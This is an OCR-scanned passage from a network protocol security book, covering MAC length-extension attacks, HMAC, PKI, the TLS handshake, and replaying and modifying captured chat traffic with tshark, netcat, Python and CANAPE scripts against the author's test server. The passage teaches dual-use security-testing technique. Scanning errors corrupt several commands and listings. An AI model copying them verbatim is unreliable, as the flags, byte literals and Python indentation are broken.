me the message, you’d also send this hash as the signature. I could verify that
the signature is valid by performing the same algorithm as you did: I'd
combine the key and message, hash the combination, and compare the
resulting value against the signature you sent. If the two values were the
same, I could be sure you’re the one who sent the message.

How would you combine the key and the message? You might be
tempted to try something simple, such as just prefixing the message with the
key and hashing to the combined result, as in Figure 7-14.

Inner padding block Message

| MD5
I
MAC

Figure 7-14: A simple MAC implementation

But with many common hashing algorithms (including MD5 and SHA-
1), this would be a serious security mistake, because it opens a vulnerability
known as the length-extension attack. To understand why, you need to know a
bit about the construction of hashing algorithms.

Length-Extension and Collision Attacks

Many common hashing algorithms, including MD5 and SHA-1, consist of a
block structure. When hashing a message, the algorithm must first split the
message into equal-sized blocks to process. (MDS3, for example, uses a block
size of 64 bytes.)

As the hashing algorithm proceeds, the only state it maintains between
each block is the hash value of the previous block. For the first block, the
previous hash value is a set of well-chosen constants. The well-chosen
constants are specified as part of the algorithm and are generally important
for the secure operation. Figure 7-15 shows an example of how this works in

MD5.
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Figure 7-15: The block structure of MD5

It’s important to note that the final output from the block-hashing
process depends only on the previous block hash and the current block of
the message. No permutation is applied to the final hash value. Therefore,
it’s possible to extend the hash value by starting the algorithm at the last
hash instead of the predefined constants and then running through blocks of
data you want to add to the final hash.

In the case of a MAC in which the key has been prefixed at the start of
the message, this structure might allow an attacker to alter the message in
some way, such as by appending extra data to the end of an uploaded file. If
the attacker can append more blocks to the end of the message, they can
calculate the corresponding value of the MAC without knowing the key
because the key has already been hashed into the state of the algorithm by
the time the attacker has control.

What if you move the key to the end of the message rather than attaching
it to the front? Such an approach certainly prevents the length-extension
attack, but there’s still a problem. Instead of an extension, the attacker needs
to find a hash collision—that is, a message with the same hash value as the
real message being sent. Because many hashing algorithms (including MD5)
are not collision resistant, the MAC may be open to this kind of collision
attack. (One hashing algorithm that’s zor vulnerable to this attack is SHA-3.)

Hashed Message Authentication Codes

You can use a Hashed Message Authentication Code (HMAC) to counter the
attacks described in the previous section. Instead of directly appending the
key to the message and using the hashed output to produce a signature, an
HMAC splits the process into two parts.

First, the key is XORed with a padding block equal to the block size of
the hashing algorithm. This first padding block is filled with a repeating
value, typically the byte 0x36. The combined result is the first key,
sometimes called the inner padding block. This is prefixed to the message, and
the hashing algorithm is applied. The second step takes the hash value from
the first step, prefixes the hash with a new key (called the outer padding block,
which typically uses the constant 0x5C), and applies the hash algorithm
again. The result is the final HMAC value. Figure 7-16 diagrams this
process.
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Figure 7-16: HMAC construction

This construction is resistant to length-extension and collision attacks
because the attacker can’t easily predict the final hash value without the key.

Public Key Infrastructure

How do you verify the identity of the owner of a public key in public key
encryption? Simply because a key is published with an associated identity—
say, Bob Smith from London—doesn’t mean it really comes from Bob Smith
from London. For example, if I've managed to make you trust my public key
as coming from Bob, anything you encrypt to him will be readable only by
me, because I own the private key.

To mitigate this threat, you implement a Public Key Infrastructure (PKI),
which refers to the combined set of protocols, encryption key formats, user
roles, and policies used to manage asymmetric public key information across
a network. One model of PKI, the web of trust (WOT), is used by such
applications as Pretty Good Privacy (PGP). In the WO'T model, the identity
of a public key is attested to by someone you trust, perhaps someone you’ve
met in person. Unfortunately, although the WOT works well for email,
where you're likely to know who you’re communicating with, it doesn’t work
as well for automated network applications and business processes.

X.509 Certificates

When a WO'T won’t do, it’s common to use a more centralized trust model,
such as X.509 certificates, which generate a strict hierarchy of trust rather
than rely on directly trusting peers. X.509 certificates are used to verify web



servers, sign executable programs, or authenticate to a network service.
Trust is provided through a hierarchy of certificates using asymmetric
signature algorithms, such as RSA and DSA.

To complete this hierarchy, valid certificates must contain at least four
pieces of information:

* 'The subject, which specifies the identity for the certificate
* The subject’s public key
* 'T'he issuer, which identifies the signing certificate

* A valid signature applied over the certificate and authenticated by the
issuer’s private key

These requirements create a hierarchy called a chain of trust between
certificates, as shown in Figure 7-17. One advantage to this model is that
because only public key information is ever distributed, it’s possible to
provide component certificates to users via public networks.

Issuer: SuperSignCA
Subject: SuperSignCA

i

Root certificate
Sign | Sign

Issuer: SuperSignCA Issuer: SuperSignCA
Subject: Badger Software Lltd ~ Subject: www.badgers.com

v €
f f

Codessigning certificate Web server certificate
Figure 7-17: The X.509 certificate chain of trust



Note that there is usually more than one level in the hierarchy, because it
would be unusual for the root certificate issuer to directly sign certificates
used by an application. The root certificate is issued by an entity called a
certificate authority (CA), which might be a public organization or company
(such as Verisign) or a private entity that issues certificates for use on
internal networks. The CA’s job is to verify the identity of anyone it issues
certificates to.

Unfortunately, the amount of actual checking that occurs is not always
clear; often, CAs are more interested in selling signed certificates than in
doing their jobs, and some CAs do little more than check whether they’re
issuing a certificate to a registered business address. Most diligent CAs
should at least refuse to generate certificates for known companies, such as
Microsoft or Google, when the certificate request doesn’t come from the
company in question. By definition, the root certificate can’t be signed by
another certificate. Instead, the root certificate is a self-signed certificate where
the private key associated with the certificate’s public key is used to sign
itself.

Verifying a Certificate Chain

To verify a certificate, you follow the issuance chain back to the root
certificate, ensuring at each step that every certificate has a valid signature
that hasn’t expired. At this point, you decide whether you trust the root
certificate—and, by extension, the identity of the certificate at the end of the
chain. Most applications that handle certificates, like web browsers and
operating systems, have a trusted root certificate database.

What’s to stop someone who gets a web server certificate from signing
their own fraudulent certificate using the web server’s private key? In
practice, they can do just that. From a cryptography perspective, one private
key is the same as any other. If you based the trust of a certificate on the
chain of keys, the fraudulent certificate would chain back to a trusted root
and appear to be valid.

To protect against this attack, the X.509 specification defines the basic
constraints parameter, which can be optionally added to a certificate. This
parameter is a flag that indicates the certificate can be used to sign another
certificate and thus act as a CA. If a certificate’s CA flag is set to false (or if
the basic constraints parameter is missing), the verification of the chain



should fail if that certificate is ever used to sign another certificate. Figure 7-
18 shows this basic constraint parameter in a real certificate that says this
certificate should be valid to act as a certificate authority.

But what if a certificate issued for verifying a web server is used instead to
sign application code? In this situation, the X.509 certificate can specify a key
usage parameter, which indicates what uses the certificate was generated for.
If the certificate is ever used for something it was not designed to certify, the
verification chain should fail.

Finally, what happens if the private key associated with a given certificate
is stolen or a CA accidentally issues a fraudulent certificate (as has happened
a few times)? Even though each certificate has an expiration date, this date
might be many years in the future. Therefore, if a certificate needs to be
revoked, the CA can publish a certificate revocation list (CRL). If any certificate
in the chain is on the revocation list, the verification process should fail.
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Figure 7-18: X.509 certificate basic constraints




As you can see, the certificate chain verification could potentially fail in a
number of places.

Case Study: Transport Layer Security

Let’s apply some of the theory behind protocol security and cryptography to
a real-world protocol. Transport Layer Security (TLS), formerly called Secure
Sockets Layer (SSL), is the most common security protocol in use on the
internet. TLS was originally developed as SSL by Netscape in the mid-
1990s for securing HT'TP connections. The protocol has gone through
multiple revisions: SSL versions 1.0 through 3.0 and TLS versions 1.0
through 1.2. Although it was originally designed for HT'TP, you can use
TLS for any TCP protocol. There’s even a variant, the Datagram Transport

Layer Security (DTLS) protocol, to use with unreliable protocols, such as
UDP.

TLS uses many of the constructs described in this chapter, including
symmetric and asymmetric encryption, MACs, secure key exchange, and
PKI. T'll discuss the role each of these cryptographic tools plays in the
security of a TLS connection and touch on some attacks against the
protocol. (I’ll only discuss TLS version 1.0, because it’s the most commonly
supported version, but be aware that versions 1.1 and 1.2 are slowly
becoming more common due to a number of security issues with version

1.0.)

The TLS Handshake

The most important part of establishing a new TLS connection is the
handshake, where the client and server negotiate the type of encryption
they’ll use, exchange a unique key for the connection, and verify each other’s
identity. All communication uses a TLS Record protocol—a predefined tag-
length-value structure that allows the protocol parser to extract individual
records from the stream of bytes. All handshake packets are assigned a tag
value of 22 to distinguish them from other packets. Figure 7-19 shows the
flow of these handshake packets in a simplified form. (Some packets are
optional, as indicated in the figure.)

As you can see from all the data being sent back and forth, the handshake



process can be time-intensive: sometimes it can be truncated or bypassed
entirely by caching a previously negotiated session key or by the client’s
asking the server to resume a previous session by providing a unique session
identifier. This isn’t a security issue because, although a malicious client
could request the resumption of a session, the client still won’t know the
private negotiated session key.

Client Server
Client HELLO -
- Server HELLO Required packets
o Server certificate o S
o B Request client cerlificate === ----=-uu---
-t Server HELLO Done
------------- Client certificate and verify «----««-----m
Client key exchange e
Change cipher spec P
Client finished =

--———— Change cipher specification

it Encrypted traffic o

Figure 7-19: The TLS handshake process

Initial Negotiation

As the first step in the handshake, the client and server negotiate the security
parameters they want to use for the TLS connection using a HELLO
message. One of the pieces of information in a HELLO message is the client
random, a random value that ensures the connection process cannot be easily
replayed. The HELLO message also indicates what types of ciphers the
client supports. Although TLS is designed to be flexible with regard to what
encryption algorithms it uses, it only supports symmetric ciphers, such as
RC4 or AES, because using public key encryption would be too expensive
from a computational perspective.



The server responds with its own HELLO message that indicates what
cipher it has chosen from the available list provided by the client. (The
connection ends if the pair cannot negotiate a common cipher.) The server
HELLO message also contains the server random, another random value that
adds additional replay protection to the connection. Next, the server sends
its X.509 certificate, as well as any necessary intermediate CA certificates, so
the client can make an informed decision about the identity of the server.
Then the server sends a HELLO Done packet to inform the client it can
proceed to authenticate the connection.

Endpoint Authentication

The client must verify that the server certificates are legitimate and that they
meet the client’s own security requirements. First, the client must verify the
identity in the certificate by matching the certificate’s Subject field to the
server’s domain name. For example, Figure 7-20 shows a certificate for the

domain www.domain.com. The Subject contains a Common Name (CN) @ field
that matches this domain.


http://www.domain.com
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Figure 7-20: The Certificate Subject for www.domain.com

A certificate’s Subject and Issuer fields are not simple strings but X.500
names, which contain other fields, such as the Organization (typically the
name of the company that owns the certificate) and Email (an arbitrary email
address). However, only the CN is ever checked during the handshake to
verify an identity, so don’t be confused by the extra data. It’s also possible to
have wildcards in the CN field, which is useful for sharing certificates with
multiple servers running on a subdomain name. For example, a CN set to
*.domain.com would match both www.domain.com and blog.domain.com.

After the client has checked the identity of the endpoint (that is, the
server at the other end of the connection), it must ensure that the certificate
is trusted. It does so by building the chain of trust for the certificate and any
intermediate CA certificates, checking to make sure none of the certificates
appear on any certificate revocation lists. If the root of the chain is not
trusted by the client, it can assume the certificate is suspect and drop the
connection to the server. Figure 7-21 shows a simple chain with an
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intermediate CA for www.domain.com.
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Figure 7-21: The chain of trust for www.domain.com

TLS also supports an optional client certificate that allows the server to
authenticate the client. If the server requests a client certificate, it sends a list
of acceptable root certificates to the client during its HELLO phase. The
client can then search its available certificates and choose the most
appropriate one to send back to the server. It sends the certificate—along
with a verification message containing a hash of all the handshake messages
sent and received up to this point—signed with the certificate’s private key.
The server can verify that the signature matches the key in the certificate
and grant the client access; however, if the match fails, the server can close
the connection. The signature proves to the server that the client possesses
the private key associated with the certificate.

Establishing Encryption
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When the endpoint has been authenticated, the client and server can finally
establish an encrypted connection. To do so, the client sends a randomly
generated pre-master secret to the server encrypted with the server’s
certificate public key. Next, both client and server combine the pre-master
secret with the client and server randoms, and they use this combined value
to seed a random number generator that generates a 48-byte muaster secret,
which will be the session key for the encrypted connection. (The fact that
both the server and the client generate the master key provides replay
protection for the connection, because if either endpoint sends a different
random during negotiation, the endpoints will generate different master
secrets.)

When both endpoints have the master secret, or session key, an
encrypted connection is possible. The client issues a change cipher spec packet
to tell the server it will only send encrypted messages from here on.
However, the client needs to send one final message to the server before
normal traffic can be transmitted: the finished packet. This packet is
encrypted with the session key and contains a hash of all the handshake
messages sent and received during the handshake process. This is a crucial
step in protecting against a downgrade attack, in which an attacker modifies
the handshake process to try to reduce the security of the connection by
selecting weak encryption algorithms. Once the server receives the finished
message, it can validate that the negotiated session key is correct (otherwise,
the packet wouldn’t decrypt) and check that the hash is correct. If not, it can
close the connection. But if all is correct, the server will send its own change
cipher spec message to the client, and encrypted communications can begin.

Each encrypted packet is also verified using an HMAC, which provides
data authentication and ensures data integrity. This verification is
particularly important if a stream cipher, such as RC4, has been negotiated;
otherwise, the encrypted blocks could be trivially modified.

Meeting Security Requirements

The TLS protocol successfully meets the four security requirements listed at
the beginning of this chapter and summarized in Table 7-4.

Table 7-4: How TLS Meets Security Requirements

Security How it’s met



requirement

Data Selectable strong cipher suites
confidentiality Secure key exchange

Data integrity Encrypted data is protected by an HMAC
Handshake packets are verified by final hash verification

Server The client can choose to verify the server endpoint using
authentication the PKI and the issued certificate

Client Optional certificate-based client authentication
authentication

But there are problems with TLS. The most significant one, which as of
this writing has not been corrected in the latest versions of the protocol, is
its reliance on certificate-based PKI. The protocol depends entirely on trust
that certificates are issued to the correct people and organizations. If the
certificate for a network connection indicates the application is
communicating to a Google server, you assume that only Google would be
able to purchase the required certificate. Unfortunately, this isn’t always the
case. Situations in which corporations and governments have subverted the
CA process to generate certificates have been documented. In addition,
mistakes have been made when CAs didn’t perform their due diligence and
issued bad certificates, such as the Google certificate shown in Figure 7-22
that eventually had to be revoked.
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Figure 7-22: A certificate for Google “wrongly” issued by CA TURKTRUST

One partial fix to the certificate model is a process called certificate
pinning. Pinning means that an application restricts acceptable certificates
and CA issuers for certain domains. As a result, if someone manages to
fraudulently obtain a valid certificate for www.google.com, the application will
notice that the certificate doesn’t meet the CA restrictions and will fail the
connection.

Of course, certificate pinning has its downsides and so is not applicable to
every scenario. The most prevalent issue is the management of the pinning
list; specifically, building an initial list might not be too challenging a task,
but updating the list adds additional burdens. Another issue is that a
developer cannot easily migrate the certificates to another CA or easily
change certificates without also having to issue updates to all clients.

Another problem with TLS, at least when it comes to network
surveillance, is that a TLS connection can be captured from the network and
stored by an attacker until it’s needed. If that attacker ever obtains the
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server’s private key, all historical traffic could be decrypted. For this reason,
a number of network applications are moving toward exchanging keys using
the DH algorithm in addition to using certificates for identity verification.
This allows for perfect forward secrecy—even if the private key is
compromised, it shouldn’t be easy to also calculate the DH-generated key.

Final Words

This chapter focused on the basics of protocol security. Protocol security has
many aspects and is a very complex topic. Therefore, it’s important to
understand what could go wrong and identify the problem during any
protocol analysis.

Encryption and signatures make it difficult for an attacker to capture
sensitive information being transmitted over a network. The process of
encryption converts plaintext (the data you want to hide) into cipher text
(the encrypted data). Signatures are used to verify that the data being
transmitted across a network hasn’t been compromised. An appropriate
signature can also be used to verify the identity of the sender. The ability to
verify the sender is very useful for authenticating users and computers over
an untrusted network.

Also described in this chapter are some possible attacks against
cryptography as used in protocol security, including the well-known padding
oracle attack, which could allow an attack to decrypt traffic being sent to and
from a server. In later chapters, I’ll explain in more detail how to analyze a
protocol for its security configuration, including the encryption algorithms
used to protect sensitive data.



8
IMPLEMENTING THE NETWORK PROTOCOL

Analyzing a network protocol can be an end in itself; however, most likely
you’ll want to implement the protocol so you can actually test it for security
vulnerabilities. In this chapter, you’ll learn ways to implement a protocol for
testing purposes. I'll cover techniques to repurpose as much existing code as
possible to reduce the amount of development effort you’ll need to do.

This chapter uses my SuperFunkyChat application, which provides
testing data and clients and servers to test against. Of course, you can use any
protocol you like: the fundamentals should be the same.

Replaying Existing Captured Network Traffic

Ideally, we want to do only the minimum necessary to implement a client or
server for security testing. One way to reduce the amount of effort required
is to capture example network protocol traffic and replay it to real clients or
servers. We'll look at three ways to achieve this goal: using Netcat to send
raw binary data, using Python to send UDP packets, and repurposing our
analysis code in Chapter 5 to implement a client and a server.

Capturing Traffic with Netcat

Netcat is the simplest way to implement a network client or server. The
basic Netcat tool is available on most platforms, although there are multiple
versions with different command line options. (Netcat is sometimes called nc
or netcat.) We’ll use the BSD version of Netcat, which is used on macOS and
is the default on most Linux systems. You might need to adapt commands if
you’re on a different operating system.

The first step when using Netcat is to capture some traffic you want to
replay. We’ll use the Tshark command line version of Wireshark to capture
traffic generated by SuperFunkyChat. (You may need to install Tshark on
your platform.)



To limit our capture to packets sent to and received by our ChatServer
running on TCP port 12345, we’ll use a Berkeley Packet Filter (BPF)
expression to restrict the capture to a very specific set of packets. BPF
expressions limit the packets captured, whereas Wireshark’s display filter
limits only the display of a much larger set of capture packets.

Run the following command at the console to begin capturing port 12345

traffic and writing the output to the file caprure.pcap. Replace intvame with the
name of the interface you’re capturing from, such as ethe.

$ tshark -1 INTNAME -w capture.pcap tcp port 12345

Make a client connection to the server to start the packet capture and
then stop the capture by pressing CTRL+C in the console running T'shark.
Make sure you’ve captured the correct traffic into the output file by running
Tshark with the -r parameter and specifying the caprure.pcap file. Listing 8-1
shows example output from T'shark with the addition of the parameters -z
conv, tcp to print the list of capture conversations.

$ tshark -r capture.pcap -z conv,tcp
O 10 192.168.56.1 — 192.168.56.100 TCP 66 26082 — 12345 [SYN]
2 0.000037695 192.168.56.100 — 192.168.56.1 TCP 66 12345 — 26082 [SYN, ACK]
3 0.000239814 192.168.56.1 — 192.168.56.100 TCP 60 26082 — 12345 [ACK]
4 0.007160883 192.168.56.1 — 192.168.56.100 TCP 60 26082 — 12345 [PSH, ACK]
5 0.007225155 192.168.56.100 — 192.168.56.1 TCP 54 12345 — 26082 [ACK]
--snip--

TCP Conversations
Filter:<No Filter>
I <- || -> I
| Frames Bytes | | Frames Bytes |
192.168.56.1:26082 <-> 192.168.56.100:123450 17 10200 28 17330

Listing 8-1: Verifying the capture of the chat protocol traffic

As you can see in Listing 8-1, Tshark prints the list of raw packets at @

and then displays the conversation summary @, which shows that we have a
connection going from 192.168.56.1 port 26082 to 192.168.56.100 port
12345. The client on 192.168.56.1 has received 17 frames or 1020 bytes of

data ©, and the server received 28 frames or 1733 bytes of data @.
Now we use Tshark to export just the raw bytes for one direction of the



conversation:

$ tshark -r capture.pcap -T fields -e data 'tcp.srcport==26082' > outbound.txt

This command reads the packet capture and outputs the data from each
packet; it doesn’t filter out items like duplicate or out-of-order packets.
There are a couple of details to note about this command. First, you should
use this command only on captures produced on a reliable network, such as
via localhost or a local network connection, or you might see erroneous
packets in the output. Second, the data field is only available if the protocol
isn’t decoded by a dissector. This is not an issue with the TCP capture, but
when we move to UDP, we’ll need to disable dissectors for this command to
work correctly.

Recall that at @ in Listing 8-1, the client session was using port 26082.
The display filter tcp.srcport==26082 removes all traffic from the output that
doesn’t have a TCP source port of 26082. This limits the output to traffic
from the client to the server. The result is the data in hex format, similar to
Listing 8-2.

$ cat outbound.txt
42494e58

00000006d

00000347

00
057573657231044f4e595800
--snip--

Listing 8-2: Example output from dumping raw traffic

Next, we convert this hex output to raw binary. The simplest way to do
so is with the xxd tool, which is installed by default on most Unix-like
systems. Run the xxd command, as shown in Listing 8-3, to convert the hex
dump to a binary file. (The -p parameter converts raw hex dumps rather than
the default xxd format of a numbered hex dump.)

$ xxd -p -r outbound.txt > outbound.bin

$ xxd outbound.bin

00000000: 4249 4e58 0000 000d 0000 0347 0005 7573 BINX....... G..us
00000010: 6572 3104 4fde 5958 0000 0000 1cOO 009 erl1.ONYX........
00000020: 7bO3 0575 7365 7231 1462 6164 6765 7220 {..userl.badger
--snip--




Listing 8-3: Converting the hex dump to binary data

Finally, we can use Netcat with the binary data file. Run the following
netcat command to send the client traffic in outbound.bin to a server at HosTNAME
port 12345. Any traffic sent from the server back to the client will be
captured in inbound.bin.

S netcat HOSTNAME 12345 < outbound.bin > inbound.bin

You can edit outbound.bin with a hex editor to change the session data
you're replaying. You can also use the inbound.bin file (or extract it from a
PCAP) to send traffic back to a client by pretending to be the server using
the following command:

$ netcat -1 12345 < inbound.bin > new_outbound.bin

Using Python to Resend Captured UDP Traffic

One limitation of using Netcat is that although it’s easy to replay a streaming
protocol such as TCP, it’s not as easy to replay UDP traffic. The reason is
that UDP traffic needs to maintain packet boundaries, as you saw when we
tried to analyze the Chat Application protocol in Chapter 5. However,
Netcat will just try to send as much data as it can when sending data from a

file or a shell pipeline.

Instead, we’ll write a very simple Python script that will replay the UDP
packets to the server and capture any results. First, we need to capture some
UDP example chat protocol traffic using the ChatClient’s --udp command
line parameter. Then we’ll use Tshark to save the packets to the file
udp_capture.pcap, aS shown here:

tshark -1 INTNAME -w udp_capture.pcap udp port 12345

Next, we’ll again convert all client-to-server packets to hex strings so we
can process them in the Python client:

tshark -T fields -e data -r udp_capture.pcap --disable-protocol gvsp/
"udp.dstport==12345" > udp_outbound. txt

One difference in extracting the data from the UDP capture is that
Tshark automatically tries to parse the traffic as the GVSP protocol. This



results in the data field not being available. Therefore, we need to disable the
GVSP dissector to create the correct output.

With a hex dump of the packets, we can finally create a very simple
Python script to send the UDP packets and capture the response. Copy
Listing 8-4 into udp_client.py.

udp_client.py

import sys
import binascii
from socket import socket, AF_INET, SOCK_DGRAM

if len(sys.argv) < 3:
print("Specify destination host and port")
exit(1)

# Create a UDP socket with a 1sec receive timeout
sock = socket(AF_INET, SOCK_DGRAM)
sock.settimeout(1)

addr = (sys.argv[1], int(sys.argv[2]))

for line in sys.stdin:
msg = binascii.a2b_hex(line.strip())
sock.sendto(msg, addr)

try:
data, server = sock.recvfrom(1024)
print(binascii.b2a_hex(data))
except:
pass

Listing 8-4: A simple UDP client to send network traffic capture

Run the Python script using following command line (it should work in
Python 2 and 3), replacing #ostname with the appropriate host:

python udp_client.py HOSTNAME 12345 < udp_outbound. txt

The server should receive the packets, and any received packets in the
client should be printed to the console as binary strings.

Repurposing Our Analysis Proxy

In Chapter 5, we implemented a simple proxy for SuperFunkyChat that
captured traffic and implemented some basic traffic parsing. We can use the
results of that analysis to implement a network client and a network server to



replay and modify traffic, allowing us to reuse much of our existing work
developing parsers and associated code rather than having to rewrite it for a
different framework or language.

Capturing Example Traffic

Before we can implement a client or a server, we need to capture some
traffic. We’ll use the parser.csx script we developed in Chapter 5 and the code
in Listing 8-5 to create a proxy to capture the traffic from a connection.

chapter8 capture
_Pproxy.csx

#load "parser.csx"
using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

var template = new FixedProxyTemplate();

// Local port of 4444, destination 127.0.0.1:12345
template.LocalPort = 4444;

template.Host = "127.0.0.1";

template.Port = 12345;

O template.AddLayer<Parser>();

var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();

WriteLine("Writing Outbound Packets to packets.bin");
@A service.Packets.WriteToFile("packets.bin", "Out");

Listing 8-5: The proxy to capture chat traffic to a file

Listing 8-5 sets up a TCP listener on port 4444, forwards new
connections to 127.0.0.1 port 12345, and captures the traffic. Notice that we

still add our parsing code to the proxy at @ to ensure that the captured data
has the data portion of the packet, not the length or checksum information.

Also notice that at @, we write the packets to a file, which will include all
outbound and inbound packets. We’ll need to filter out a specific direction
of traffic later to send the capture over the network.

Run a single client connection through this proxy and exercise the client a
good bit. Then close the connection in the client and press ENTER in the



console to exit the proxy and write the packet data to packets.bin. (Keep a
copy of this file; we’ll need it for our client and server.)

Implementing a Simple Network Client

Next, we’ll use the captured traffic to implement a simple network client. To
do so, we’ll use the NetClientTemplate class to establish a new connection to the
server and provide us with an interface to read and write network packets.
Copy Listing 8-6 into a file named chapter§_client.csx.

chapters8
_client.csx

#load "parser.csx"

using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

@ if (args.Length < 1) {
WriteLine("Please Specify a Capture File");
return;
}
A var template = new NetClientTemplate();

template.Port = 12345;
template.Host = "127.0.0.1";
template.AddLayer<Parser>();

© template.InitialData = new byte[] { 0x42, 0x49, Ox4E, Ox58 };

O var packets = LogPacketCollection.ReadFromFile(args[0]);

O using(var adapter = template.Connect()) {
WriteLine("Connected");
// Write packets to adapter
O foreach(var packet in packets.GetPacketsForTag("Out")) {
adapter.Write(packet.Frame);

}

// Set a 1000ms timeout on read so we disconnect
adapter.ReadTimeout = 1000;
© DataFrame frame = adapter.Read();
while(frame != null) {
WritePacket(frame);
frame = adapter.Read();

}

Listing 8-6: A simple client to replace SuperFunkyChat traffic



One new bit in this code is that each script gets a list of command line

arguments in the args variable @. By using command line arguments, we can
specify different packet capture files without having to modify the script.

The NetclientTemplate is configured @ similarly to our proxy, making
connections to 127.0.0.1:12345 but with a few differences to support the
client. For example, because we parse the initial network traffic inside the
Parser class, our capture file doesn’t contain the initial magic value that the
client sends to the server. We add an 1nitialpata array to the template with

the magic bytes © to correctly establish the connection.

We then read the packets from the file @ into a packet collection. When
everything is configured, we call connect() to establish a new connection to

the server @. The connect() method returns a pata Adapter that allows us to
read and write parsed packets on the connection. Any packet we read will
also go through the parser and remove the length and checksum fields.

Next, we filter the loaded packets to only outbound and write them to the

network connection @. The parser class again ensures that any data packets
we write have the appropriate headers attached before being sent to the
server. Finally, we read out packets and print them to the console until the

connection is closed or the read times out @.

When you run this script, passing the path to the packets we captured
earlier, it should connect to the server and replay your session. For example,
any message sent in the original capture should be re-sent.

Of course, just replaying the original traffic isn’t necessarily that useful. It
would be more useful to modify traffic to test features of the protocol, and
now that we have a very simple client, we can modify the traffic by adding
some code to our send loop. For example, we might simply change our
username in all packets to something else—say from user1 to bobsmith—Dby

replacing the inner code of the send loop (at ® in Listing 8-6) with the code
shown in Listing 8-7.

@ string data = packet.Frame.ToDataString();

® data = data.Replace("\u00O5user1", "\uOBO8bobsmith");
adapter.Write(data.ToDataFrame());

Listing 8-7: A simple packet editor for the client



To edit the username, we first convert the packet into a format we can
work with easily. In this case, we convert it to a binary string using the

Tobatastring() method @, which results in a C# string where each byte is
converted directly to the same character value. Because the strings in

SuperFunkyChat are prefixed with their length, at @ we use the \uxxxx escape
sequence to replace the byte 5 with 8 for the new length of the username.
You can replace any nonprintable binary character in the same way, using
the escape sequence for the byte values.

When you rerun the client, all instances of user1 should be replaced with
bobsmith. (Of course, you can do far more complicated packet modification at
this point, but I’ll leave that for you to experiment with.)

Implementing a Simple Server

We’ve implemented a simple client, but security issues can occur in both the
client and server applications. So now we’ll implement a custom server
similar to what we’ve done for the client.

First, we’ll implement a small class to act as our server code. This class
will be created for every new connection. A run() method in the class will get
a Data Adapter object, essentially the same as the one we used for the client.
Copy Listing 8-8 into a file called chat_server.csx.

chat_server.csx

using CANAPE.Nodes;
using CANAPE.DataAdapters;
using CANAPE.Net.Templates;

@ class ChatServerConfig {

public LogPacketCollection Packets { get; private set; }
public ChatServerConfig() {

Packets = new LogPacketCollection();
}

}

@ class ChatServer : BaseDataEndpoint<ChatServerConfig> {
public override void Run(IDataAdapter adapter, ChatServerConfig config) {
Console.WriteLine("New Connection");
© DataFrame frame = adapter.Read();

// Wait for the client to send us the first packet
if (frame !'= null) {

// Write all packets to client



O foreach(var packet in config.Packets) {
adapter.Write(packet.Frame);
}
}

frame = adapter.Read();

}

Listing 8-8: A simple server class for chat protocol

The code at @ is a configuration class that simply contains a log packet
collection. We could have simplified the code by just specifying
LogPacketCollection as the configuration type, but doing so with a distinct class
demonstrates how you might add your own configuration more easily.

The code at @ defines the server class. It contains the run() function,
which takes a data adapter and the server configuration, and allows us to read
and write to the data adapter after waiting for the client to send us a packet

©®. Once we've received a packet, we immediately send our entire packet list
to the client @.

Note that we don’t filter the packets at @, and we don’t specify that we’re
using any particular parser for the network traffic. In fact, this entire class is
completely agnostic to the SuperFunkyChat protocol. We configure much

of the behavior for the network server inside a template, as shown in Listing
8-9.

chapters8
_exanmple
_server.csx

@ #load "chat_server.csx"

#load "parser.csx"
using static System.Console;

if (args.Length < 1) {
WriteLine("Please Specify a Capture File");
return;

}

® var template = new NetServerTemplate<ChatServer, ChatServerConfig>();
template.LocalPort = 12345;
template.AddLayer<Parser>();

© var packets = LogPacketCollection.ReadFromFile(args[0])

.GetPacketsForTag("In");
template.ServerFactoryConfig.Packets.AddRange(packets);



O var service = template.Create();
service.Start();
WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

Listing 8-9: A simple example ChatServer

Listing 8-9 might look familiar because it’s very similar to the script we
used for the DNS server in Listing 2-11. We begin by loading in the

chat_server.csx script to define our ChatServer class @. Next, we create a

server template at @ by specifying the type of the server and the
configuration type. Then we load the packets from the file passed on the
command line, filtering to capture only inbound packets and adding them to

the packet collection in the configuration ®. Finally, we create a service and

start it @, just as we do proxies. The server is now listening for new
connections on TCP port 12345.

Try the server with the ChatClient application; the captured traffic
should be sent back to the client. After all the data has been sent to the
client, the server will automatically close the connection. As long as you
observe the message we re-sent, don’t worry if you see an error in the
ChatClient’s output. Of course, you can add functionality to the server, such
as modifying traffic or generating new packets.

Repurposing Existing Executable Code

In this section, we’ll explore various ways to repurpose existing binary
executable code to reduce the amount of work involved in implementing a
protocol. Once you’ve determined a protocol’s details by reverse engineering
the executable (perhaps using some tips from Chapter 6), you’ll quickly
realize that if you can reuse the executable code, you’ll avoid having to
implement the protocol.

Ideally, you’ll have the source code you’ll need to implement a particular
protocol, either because it’s open source or the implementation is in a
scripting language like Python. If you do have the source code, you should
be able to recompile or directly reuse the code in your own application.
However, when the code has been compiled into a binary executable, your



options can be more limited. We’ll look at each scenario now.

Managed language platforms, such as NET and Java, are by far the
easiest in which to reuse existing executable code, because they have a well-
defined metadata structure in compiled code that allows a new application to
be compiled against internal classes and methods. In contrast, in many
unmanaged platforms, such as C/C++, the compiler will make no guarantees
that any component inside a binary executable can be easily called externally.

Well-defined metadata also supports reflection, which is the ability of an
application to support late binding of executable code to inspect data at
runtime and to execute arbitrary methods. Although you can easily
decompile many managed languages, it may not always be convenient to do
so, especially when dealing with obfuscated applications. This is because the
obfuscation can prevent reliable decompilation to usable source code.

Of course, the parts of the executable code you’ll need to execute will
depend on the application you’re analyzing. In the sections that follow, I'll
detail some coding patterns and techniques to use to call the appropriate
parts of the code in .NET and Java applications, the platforms you’re most
likely to encounter.

Repurposing Code in .NET Applications

As discussed in Chapter 6, .NET applications are made up of one or more
assemblies, which can be either an executable (with an .exe extension) or a
library (.d/l). When it comes to repurposing existing code, the form of the
assembly doesn’t matter because we can call methods in both equally.

Whether we can just compile our code against the assembly’s code will
depend on the visibility of the types we’re trying to use. The .NET platform
supports different visibility scopes for types and members. The three most
important forms of visibility scope are public, private, and internal. Public
types or members are available to all callers outside the assembly. Private
types or members are limited in scope to the current type (for example, you
can have a private class inside a public class). Internal visibility scopes the
types or members to only callers inside the same assembly, where they act as
if they were public (although an external call cannot compile against them).
For example, consider the C# code in Listing 8-10.

@ public class PublicClass



{

private class PrivateClass
